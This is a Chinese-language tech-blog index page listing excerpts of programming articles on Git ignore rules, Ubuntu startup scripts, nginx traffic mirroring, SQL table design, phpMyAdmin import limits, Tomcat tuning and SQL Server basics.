    在Git的版本控制中，可能有些文件是不需要加入控制的，那我们在提交代码时就需要忽略这些文件，下面讲讲应该怎么给Git配置一些忽略规则。   有三种方法可以忽略掉这些文件，这三种方法都能达到目的，只不过适用情景不一样。 1.  针对单一工程排除文件 这种方式会让这个工程的所有修改者在克隆代码的同时，也能克隆到过滤规则，而不用自己再写一份，这就能保证所有修改者应用的都是同一
  • Ubuntu 创建开机自启动脚本的方法 hongtoushizi ubuntu
    转载自： http://rongjih.blog.163.com/blog/static/33574461201111504843245/ Ubuntu 创建开机自启动脚本的步骤如下： 1) 将你的启动脚本复制到 /etc/init.d目录下 以下假设你的脚本文件名为 test。   2) 设置脚本文件的权限 $ sudo chmod 755
  • 第八章 流量复制/AB测试/协程 jinnianshilongnian nginxluacoroutine
    流量复制 在实际开发中经常涉及到项目的升级，而该升级不能简单的上线就完事了，需要验证该升级是否兼容老的上线，因此可能需要并行运行两个项目一段时间进行数据比对和校验，待没问题后再进行上线。这其实就需要进行流量复制，把流量复制到其他服务器上，一种方式是使用如tcpcopy引流；另外我们还可以使用nginx的HttpLuaModule模块中的ngx.location.capture_multi进行并发
  • 电商系统商品表设计 lkl
    DROP TABLE IF EXISTS `category`; -- 类目表 /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `category` ( `id` int(11) NOT NUL
  • 修改phpMyAdmin导入SQL文件的大小限制 pda158 sqlmysql
    　用phpMyAdmin导入mysql数据库时，我的10M的 数据库不能导入，提示mysql数据库最大只能导入2M。 　　 phpMyAdmin数据库导入出错： 　　You probably tried to upload too large file. Please refer to documentation for ways to workaround this limit.
  • Tomcat性能调优方案 Sobfist apachejvmtomcat应用服务器
    一、操作系统调优 对于操作系统优化来说，是尽可能的增大可使用的内存容量、提高CPU的频率，保证文件系统的读写速率等。经过压力测试验证，在并发连接很多的情况下，CPU的处理能力越强，系统运行速度越快。。 【适用场景】 任何项目。 二、Java虚拟机调优 应该选择SUN的JVM，在满足项目需要的前提下，尽量选用版本较高的JVM，一般来说高版本产品在速度和效率上比低版本会有改进。 J
  • SQLServer学习笔记 vipbooks 数据结构xml
    1、create database school 创建数据库school 2、drop database school 删除数据库school 3、use school 连接到school数据库，使其成为当前数据库 4、create table class(classID int primary key identity not null) 创建一个名为class的表，其有一
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他